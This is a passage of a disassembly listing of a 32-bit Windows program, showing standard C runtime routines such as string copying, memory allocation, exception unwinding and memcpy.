[edi], dl inc edi test ecx, 3 jnz short loc_41267D jmp short loc_412696 ; --------------------------------------------------------------------------- loc_412691: ; CODE XREF: sub_412610+9Ej ; sub_412610+B8j mov [edi], edx add edi, 4 loc_412696: ; CODE XREF: sub_412610+6Bj ; sub_412610+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_412691 test dl, dl jz short loc_4126E8 test dh, dh jz short loc_4126DF test edx, 0FF0000h jz short loc_4126D2 test edx, 0FF000000h jz short loc_4126CA jmp short loc_412691 ; --------------------------------------------------------------------------- loc_4126CA: ; CODE XREF: sub_412610+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4126D2: ; CODE XREF: sub_412610+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_4126DF: ; CODE XREF: sub_412610+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4126E8: ; CODE XREF: sub_412610+72j ; sub_412610+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_412610 endp ; =============== S U B R O U T I N E ======================================= sub_4126F0 proc near ; CODE XREF: sub_4021FB+1A7p ; sub_4021FB:loc_4023B5p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_412710 loc_4126FC: ; CODE XREF: sub_4126F0+19j mov al, [ecx] inc ecx test al, al jz short loc_412743 test ecx, 3 jnz short loc_4126FC add eax, 0 loc_412710: ; CODE XREF: sub_4126F0+Aj ; sub_4126F0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_412710 mov eax, [ecx-4] test al, al jz short loc_412761 test ah, ah jz short loc_412757 test eax, 0FF0000h jz short loc_41274D test eax, 0FF000000h jz short loc_412743 jmp short loc_412710 ; --------------------------------------------------------------------------- loc_412743: ; CODE XREF: sub_4126F0+11j ; sub_4126F0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41274D: ; CODE XREF: sub_4126F0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_412757: ; CODE XREF: sub_4126F0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_412761: ; CODE XREF: sub_4126F0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_4126F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412770 proc near ; CODE XREF: .nsp0:004024E4p ; sub_404175+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_412790 loc_41277C: ; CODE XREF: sub_412770+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41277C loc_412790: ; CODE XREF: sub_412770+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_412770 endp ; =============== S U B R O U T I N E ======================================= sub_41279F proc near ; CODE XREF: sub_402847+Ap ; sub_402881+12p ... arg_0 = dword ptr 4 push dword_462C24 push [esp+4+arg_0] call sub_4127B1 pop ecx pop ecx retn sub_41279F endp ; =============== S U B R O U T I N E ======================================= sub_4127B1 proc near ; CODE XREF: sub_41279F+Ap ; sub_413195+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_4127DA loc_4127B8: ; CODE XREF: sub_4127B1+27j push [esp+arg_0] call sub_4127DD test eax, eax pop ecx jnz short locret_4127DC cmp [esp+arg_4], eax jz short locret_4127DC push [esp+arg_0] call sub_415338 test eax, eax pop ecx jnz short loc_4127B8 loc_4127DA: ; CODE XREF: sub_4127B1+5j xor eax, eax locret_4127DC: ; CODE XREF: sub_4127B1+13j ; sub_4127B1+19j retn sub_4127B1 endp ; =============== S U B R O U T I N E ======================================= sub_4127DD proc near ; CODE XREF: sub_4127B1+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_4316CC ja short loc_4127F5 push esi call sub_415723 test eax, eax pop ecx jnz short loc_412811 loc_4127F5: ; CODE XREF: sub_4127DD+Bj test esi, esi jnz short loc_4127FC push 1 pop esi loc_4127FC: ; CODE XREF: sub_4127DD+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_464220 call dword_41D144 ; RtlAllocateHeap loc_412811: ; CODE XREF: sub_4127DD+16j pop esi retn sub_4127DD endp ; =============== S U B R O U T I N E ======================================= sub_412813 proc near ; CODE XREF: sub_4028D6+Ap ; sub_4028EF+7Bp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_412840 push esi call sub_4153CD pop ecx test eax, eax push esi jz short loc_412832 push eax call sub_4153F8 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_412832: ; CODE XREF: sub_412813+13j push 0 push dword_464220 call dword_41D148 ; RtlFreeHeap loc_412840: ; CODE XREF: sub_412813+7j pop esi retn sub_412813 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_412842(double) sub_412842 proc near ; CODE XREF: sub_403007+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_431470 call sub_4166F6 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_4128C8 call sub_4165BE pop ecx test eax, eax pop ecx jle short loc_4128AB cmp eax, 2 jle short loc_41289D cmp eax, 3 jnz short loc_4128AB fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_415ECE add esp, 10h jmp short loc_41290D ; --------------------------------------------------------------------------- loc_41289D: ; CODE XREF: sub_412842+3Fj push esi push ebx call sub_4166F6 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41290D ; --------------------------------------------------------------------------- loc_4128AB: ; CODE XREF: sub_412842+3Aj ; sub_412842+44j fld [ebp+arg_0] fadd dbl_41D668 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_412905 ; --------------------------------------------------------------------------- loc_4128C8: ; CODE XREF: sub_412842+2Fj call sub_416583 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_4128EB loc_4128DD: ; CODE XREF: sub_412842+ACj push esi push ebx call sub_4166F6 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41290D ; --------------------------------------------------------------------------- loc_4128EB: ; CODE XREF: sub_412842+99j test bl, 20h jnz short loc_4128DD fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_412905: ; CODE XREF: sub_412842+84j call sub_415F21 add esp, 1Ch loc_41290D: ; CODE XREF: sub_412842+59j ; sub_412842+67j ... pop esi pop ebx leave retn sub_412842 endp ; =============== S U B R O U T I N E ======================================= sub_412911 proc near ; CODE XREF: sub_413FAA+9p ; DATA XREF: .nsp0:off_43147Co call sub_412929 call sub_4167BF mov dword_462BA4, eax call sub_41676F fnclex retn sub_412911 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_412929 proc near ; CODE XREF: sub_412911p mov eax, offset sub_416BAD mov off_4317EC, offset loc_416842 mov off_4317E8, eax mov off_4317F0, offset sub_4168A8 mov off_4317F4, offset sub_4167E8 mov off_4317F8, offset loc_416890 mov off_4317FC, eax retn sub_412929 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412964 proc near ; CODE XREF: sub_403007+1Bp ; sub_403007+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_412964 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41298B(double) sub_41298B proc near ; CODE XREF: sub_403053+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_431488 call sub_4166F6 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_412A11 call sub_4165BE pop ecx test eax, eax pop ecx jle short loc_4129F4 cmp eax, 2 jle short loc_4129E6 cmp eax, 3 jnz short loc_4129F4 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_415ECE add esp, 10h jmp short loc_412A56 ; --------------------------------------------------------------------------- loc_4129E6: ; CODE XREF: sub_41298B+3Fj push esi push ebx call sub_4166F6 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_412A56 ; --------------------------------------------------------------------------- loc_4129F4: ; CODE XREF: sub_41298B+3Aj ; sub_41298B+44j fld [ebp+arg_0] fadd dbl_41D668 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_412A4E ; --------------------------------------------------------------------------- loc_412A11: ; CODE XREF: sub_41298B+2Fj call sub_416583 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_412A34 loc_412A26: ; CODE XREF: sub_41298B+ACj push esi push ebx call sub_4166F6 fld [ebp+var_8] pop ecx pop ecx jmp short loc_412A56 ; --------------------------------------------------------------------------- loc_412A34: ; CODE XREF: sub_41298B+99j test bl, 20h jnz short loc_412A26 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_412A4E: ; CODE XREF: sub_41298B+84j call sub_415F21 add esp, 1Ch loc_412A56: ; CODE XREF: sub_41298B+59j ; sub_41298B+67j ... pop esi pop ebx leave retn sub_41298B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A5A proc near ; CODE XREF: sub_41701E+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_412A5A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_412A8E proc near ; CODE XREF: sub_4171CF+199p ; sub_417393+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_412A8E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412A95 proc near ; CODE XREF: sub_4171CF+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_412A95 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A9C proc near ; CODE XREF: sub_412C4E+5Cp ; sub_41701E:loc_41704Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_412AC4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_41C9DC ; RtlUnwind loc_412AC4: ; DATA XREF: sub_412A9C+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_412A9C endp ; --------------------------------------------------------------------------- loc_412AEB: ; CODE XREF: .nsp0:0041CB38j ; .nsp0:0041CB55j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_416C23 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B21 proc near ; CODE XREF: sub_417099+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_412B75 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_417420 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_412B21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B75 proc near ; DATA XREF: sub_412B21+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_416C23 add esp, 20h pop ebp retn sub_412B75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B9A proc near ; CODE XREF: sub_416E65+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_412C4E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_412C20 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_462C44 pop ecx pop ecx and [ebp+var_34], 0 loc_412C20: ; DATA XREF: sub_412B9A+3Co cmp [ebp+var_4], 0 jz short loc_412C3D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_412C46 ; --------------------------------------------------------------------------- loc_412C3D: ; CODE XREF: sub_412B9A+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_412C46: ; CODE XREF: sub_412B9A+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_412B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412C4E proc near ; DATA XREF: sub_412B9A+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_412C71 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_412CBE ; --------------------------------------------------------------------------- loc_412C71: ; CODE XREF: sub_412C4E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_416C23 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_412CAF push [ebp+arg_0] push [ebp+arg_4] call sub_412A9C loc_412CAF: ; CODE XREF: sub_412C4E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_412CBE: ; CODE XREF: sub_412C4E+21j pop edi pop esi pop ebx pop ebp retn sub_412C4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412CC3 proc near ; CODE XREF: sub_416CBE+C6p ; sub_416E65+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_412D1A loc_412CE1: ; CODE XREF: sub_412CC3+52j cmp esi, 0FFFFFFFFh jnz short loc_412CEB call sub_4174C2 loc_412CEB: ; CODE XREF: sub_412CC3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_412D00 cmp ecx, [eax+8] jle short loc_412D05 loc_412D00: ; CODE XREF: sub_412CC3+36j cmp esi, 0FFFFFFFFh jnz short loc_412D11 loc_412D05: ; CODE XREF: sub_412CC3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_412D11: ; CODE XREF: sub_412CC3+40j cmp [ebp+arg_4], 0 jge short loc_412CE1 mov eax, [ebp+var_4] loc_412D1A: ; CODE XREF: sub_412CC3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_412D2E cmp esi, eax jbe short loc_412D33 loc_412D2E: ; CODE XREF: sub_412CC3+65j call sub_4174C2 loc_412D33: ; CODE XREF: sub_412CC3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_412CC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D40 proc near ; CODE XREF: sub_419528+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_412D58 push [ebp+arg_0] call sub_41C9DC ; RtlUnwind loc_412D58: ; DATA XREF: sub_412D40+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_412D40 endp ; =============== S U B R O U T I N E ======================================= sub_412D60 proc near ; DATA XREF: sub_412D82+Ao ; sub_412DEA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_412D81 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_412D81: ; CODE XREF: sub_412D60+10j retn sub_412D60 endp ; =============== S U B R O U T I N E ======================================= sub_412D82 proc near ; CODE XREF: sub_41713F+Dp ; sub_419528+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_412D60 push large dword ptr fs:0 mov large fs:0, esp loc_412D9F: ; CODE XREF: sub_412D82:loc_412DDAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_412DDC cmp esi, [esp+1Ch+arg_4] jz short loc_412DDC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_412DDA push 101h mov eax, [ebx+esi*4+8] call sub_412E16 call dword ptr [ebx+esi*4+8] loc_412DDA: ; CODE XREF: sub_412D82+44j jmp short loc_412D9F ; --------------------------------------------------------------------------- loc_412DDC: ; CODE XREF: sub_412D82+2Aj ; sub_412D82+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_412D82 endp ; =============== S U B R O U T I N E ======================================= sub_412DEA proc near ; CODE XREF: sub_41715F+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_412D60 jnz short locret_412E0C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_412E0C mov eax, 1 locret_412E0C: ; CODE XREF: sub_412DEA+10j ; sub_412DEA+1Bj retn sub_412DEA endp ; =============== S U B R O U T I N E ======================================= sub_412E0D proc near ; CODE XREF: sub_417420+1Ep ; sub_417420+40p push ebx push ecx mov ebx, offset dword_43148C jmp short loc_412E20 sub_412E0D endp ; =============== S U B R O U T I N E ======================================= sub_412E16 proc near ; CODE XREF: sub_412D82+4Fp ; sub_419528+78p push ebx push ecx mov ebx, offset dword_43148C mov ecx, [ebp+8] loc_412E20: ; CODE XREF: sub_412E0D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_412E16 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412E30 proc near ; CODE XREF: sub_403053+5p ; sub_4031F5+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_412E30 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412E4F proc near ; CODE XREF: sub_4036CA+26p ; .nsp0:0041C7B5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_412813 pop ecx retn sub_412E4F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E60 proc near ; CODE XREF: sub_40373B+3Ap ; sub_4153F8+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_412E80 cmp edi, eax jb loc_412FF8 loc_412E80: ; CODE XREF: sub_412E60+16j test edi, 3 jnz short loc_412E9C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_412EBC rep movsd jmp off_412FA8[edx*4] ; --------------------------------------------------------------------------- loc_412E9C: ; CODE XREF: sub_412E60+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_412EB4 and eax, 3 add ecx, eax jmp dword ptr loc_412EBC+4[eax*4] ; --------------------------------------------------------------------------- loc_412EB4: ; CODE XREF: sub_412E60+46j jmp dword ptr loc_412FB8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_412EBC: ; CODE XREF: sub_412E60+31j ; sub_412E60+8Ej ... jmp off_412F3C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_412ED0 dd offset loc_412EFC dd offset loc_412F20 ; --------------------------------------------------------------------------- loc_412ED0: ; DATA XREF: sub_412E60+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_412EBC rep movsd jmp off_412FA8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_412EFC: ; DATA XREF: sub_412E60+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_412EBC rep movsd jmp off_412FA8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_412F20: ; DATA XREF: sub_412E60+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_412EBC rep movsd jmp off_412FA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_412F3C dd offset loc_412F9F ; DATA XREF: sub_412E60:loc_412EBCr dd offset loc_412F8C dd offset loc_412F84 dd offset loc_412F7C off_412F4C dd offset loc_412F74 ; DATA XREF: .nsp0:off_4256A8o dd offset loc_412F6C dd offset loc_412F64 dd offset loc_412F5C ; --------------------------------------------------------------------------- loc_412F5C: ; CODE XREF: sub_412E60:loc_412EBCj ; DATA XREF: sub_412E60+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_412F64: ; CODE XREF: sub_412E60:loc_412EBCj ; DATA XREF: sub_412E60+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_412F6C: ; CODE XREF: sub_412E60:loc_412EBCj ; DATA XREF: sub_412E60+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_412F74: ; CODE XREF: sub_412E60:loc_412EBCj ; DATA XREF: sub_412E60:off_412F4Co mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_412F7C: ; CODE XREF: sub_412E60:loc_412EBCj ; DATA XREF: sub_412E60+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_412F84: ; CODE XREF: sub_412E60:loc_412EBCj ; DATA XREF: sub_412E60+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_412F8C: ; CODE XREF: sub_412E60:loc_412EBCj ; DATA XREF: sub_412E60+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_412F9F: ; CODE XREF: sub_412E60:loc_412EBCj ; DATA XREF: sub_412E60:off_412F3Co jmp off_412FA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_412FA8 dd offset loc_412FB8 ; DATA XREF: sub_412E60+35r ; sub_412E60+92r ... dd offset loc_412FC0 dd offset loc_412FCC dd offset loc_412FE0 ; --------------------------------------------------------------------------- loc_412FB8: ; CODE XREF: sub_412E60+35j ; sub_412E60+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_412FC0: ; CODE XREF: sub_412E60+35j ; sub_412E60+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_412FCC: ; CODE XREF: sub_412E60+35j ; sub_412E60+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_412FE0: ; CODE XREF: sub_412E60+35j ; sub_412E60+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_412FF8: ; CODE XREF: sub_412E60+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41302C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_413020 std rep movsd cld jmp off_413140[edx*4] ; --------------------------------------------------------------------------- align 10h loc_413020: ; CODE XREF: sub_412E60+1B1j ; sub_412E60+208j ... neg ecx jmp dword ptr loc_4130EF+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41302C: ; CODE XREF: sub_412E60+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_413044 and eax, 3 sub ecx, eax jmp dword ptr loc_413044+4[eax*4] ; 